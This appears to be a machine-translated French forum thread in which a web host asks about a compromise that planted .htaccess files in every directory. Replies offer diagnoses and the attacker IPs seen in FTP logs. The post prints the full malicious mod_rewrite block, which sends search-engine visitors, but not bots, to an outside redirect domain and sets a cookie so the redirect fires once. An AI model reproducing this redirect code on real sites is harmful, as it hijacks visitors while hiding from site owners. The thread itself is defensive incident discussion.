web-dev-qa-db-fra.com

Site compromis fichiers .htaccess partout

Certains des sites que nous hébergeons sont compromis par ... Je ne sais pas quoi. Chaque répertoire du serveur Web contient un fichier .htaccess qui redirige un utilisateur provenant d'un moteur de recherche vers une page qui n'existe même pas - voir le fichier .htaccess ci-dessous.

Le problème est apparu pour la première fois le 10 décembre 2010 et se répand depuis. Cela a affecté 8 serveurs de 3 fournisseurs d'hébergement différents.

J'ai trouvé des liens dans Google vers similaireproblèmes mais aucune explication sur ce qui se passe. La solution est très simple: supprimez simplement le fichier, mais ce n'est pas ce que je recherche. L'URL de redirection semble être différent pour chaque domaine infecté, voici une liste:

  • indanetwall.net
  • checkforsec.com
  • trackallnet.com
  • bonusforall.net
  • searchforallweb.com
  • sslabssys.com

Googler sur ceux-ci conduit à plus de gens signalant le identiqueproblème en utilisant toutes sortes de systèmes différents.

Apparemment, cela n'avait rien à voir avec un serveur spécifique ou une configuration de serveur spécifique. Toutes les dernières mises à jour ont été installées pour le système d'exploitation et les systèmes CMS installés. Cela affectait également les serveurs sans aucun CMS installé, nous ne pouvions donc pas en blâmer la responsabilité.

Nous ne savons pas comment les fichiers sont arrivés là-bas, mais ce n'était pas via ftp. En fin de compte, nous avons modifié tous les mots de passe des comptes ftp, du compte du fournisseur d’hébergement, des bases de données, etc.

Nous avons procédé à une analyse approfondie de tous les serveurs et du réseau local, mais n’avons rien trouvé. La conclusion finale est donc que quelqu'un a en quelque sorte mis la main sur un tas de mots de passe pour accéder à nos systèmes.

Heureusement, ils n'ont pas fait de "vrais" dégâts et à la fin, ce n'était qu'un gros ennui ... Mais ça aurait pu être bien pire.

Le fichier htaccess ressemble à ceci:

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|Apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fcuk\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|Perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^(.*)$   http://searchforallweb.com/cgi-bin/r.cgi?p=9004&i=138ee363&j=315&m=c1ca5d58dda23245366719cd597ac0d5&h=%{HTTP_Host}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME}  [R=302,L,CO=xccgtswgokoe:1:%{HTTP_Host}:10080:/:0:HttpOnly]
# exgocgkctswo

Quelqu'un at-il rencontré des problèmes similaires? Est-ce que quelqu'un sait ce que c'est et comment on peut l'arrêter?

apachehtaccesssecuritymod-rewrite
5
Steven K.

Si vous le remarquiez "chez plusieurs hébergeurs", alors je penserais que c'est très probablement quelque chose à voir avec un site sur votre (vos) serveur (s) non plus avec le serveur lui-même, sauf si vous apportez certains fichiers de configuration à de nouveaux hébergeurs, etc.?

Si j'étais vous, j'appliquerais les changements de mot de passe, des personnes auraient accès à votre serveur ou à des répertoires qu'elles n'auraient pas dû?!

Qu'en est-il des formulaires de téléchargement? Quelqu'un utilise-t-il un système mal sécurisé sans restrictions de téléchargement de fichiers? FTP, est-ce que quelqu'un a un accès qui ne devrait pas, est-ce que les gens peuvent accéder à plus qu'ils ne devraient le faire?

Comme je l'ai dit, je ferais les changements de mot de passe, ainsi que les mises à jour de tous les cms que vous pourriez exécuter, par exemple. Joomla etc encase il y a des correctifs pour les problèmes de sécurité connus.

J'espère que c'était au moins légèrement utile :)

2
Ross

J'ai dû résoudre le même problème pour un groupe de clients au cours des 2 derniers mois. Bien qu'il n'y ait pas beaucoup dans les journaux, j'ai remarqué plusieurs choses:

  • Toutes les machines étaient des serveurs Windows
  • Phpmyadmin est installé sur toutes les machines
  • Les scripts d'installation étaient toujours accessibles pour toutes les installations phpmyadmin
  • Toutes les machines avaient des entrées de journal essayant de faire quelque chose avec ce script d'installation moins d'une heure plus tôt que l'horodatage .htaccess
  • Toutes les machines exécutaient l'application serveur (IIS et Apache) en tant qu'utilisateur SYSTEM.

Ainsi, en plus de nettoyer le désordre et de restaurer les fichiers .htaccess d'origine, j'ai procédé comme suit:

  • supprimer tous les scripts d'installation inutiles
  • exécuter Apache en tant qu'utilisateur séparé Malheureusement, je suis meilleur avec Linux que sous Windows, donc je ne sais pas si et comment IIS peut fonctionner en tant qu'utilisateur restreint ...

A côté de cela, je conseille aux personnes d'exécuter des serveurs Web sur Linux avec Apache-mpm-itk ou une autre astuce pour exécuter Apache en tant qu'utilisateur auquel le site appartient. chaque site est son propre utilisateur et non une seule permission pour un groupe ou d'autres utilisateurs. Sauf si vous avez vraiment besoin de Windows pour votre site bien sûr ...

3
Maarten

Il n’existe pas vraiment de simple explication de la cause de ceci sans en savoir beaucoup plus sur votre configuration de serveur et sur ce que vous avez en cours d’exécution.

À première vue, il semblerait qu'il y ait une vulnérabilité sur votre serveur qui permettait à quelqu'un de télécharger du code malveillant - mais encore une fois, sans savoir ce qu'il y a sur votre serveur, il est difficile de dire d'où cette vulnérabilité pourrait provenir.

2
Luke

Vous devez vérifier la date à laquelle les fichiers ont été téléchargés, puis consulter vos journaux FTP et HTTP. Vous avez probablement autorisé le téléchargement de fichiers via un script en ne désinfectant pas vos entrées pour un répertoire transversal, ou vous avez un programme fonctionnant sur demande ou temporisé qui insère ces fichiers dans.

S'il s'agit d'un hôte partagé, votre hôte pourrait être compromis et il n'a probablement pas configuré correctement ses partages pour ne pas autoriser des opérations de ce type. L'un des autres "clients" exploite le serveur.

1
Incognito

J'ai eu le même piratage sur un serveur FTP avec une douzaine de comptes FTP.

Le piratage a été définitivement effectué via FTP, sur un seul des comptes. Ce compte FTP n’est pas destiné à un site Web, les fichiers .htaccess y étaient donc inutiles.

Une recherche de IPS dans tous les anciens fichiers journaux des sauvegardes n'a pas généré d'autre fichier que les journaux du serveur FTP. Si quelqu'un trouve cela utile, voici les dates et les adresses IP des téléchargements .htaccess:

2010-11-06 : 212.117.165.214
2010-11-26 : 188.72.213.38
2010-12-10 : 188.72.213.38
2010-12-21 : 188.72.201.27
2011-01-01 : 173.236.69.60
2011-01-11 : 173.236.69.45
2011-01-27 : 94.100.17.177
2011-02-05 : 94.100.17.177
2011-02-19 : 94.100.17.157
2011-02-20 : 94.100.17.157
2011-02-21 : 94.100.17.157
2011-03-01 : 69.172.130.209
2011-03-05 : 174.36.82.151-static.reverse.softlayer.com
2011-03-10 : baltimore.newsintegrated.com
1
mivk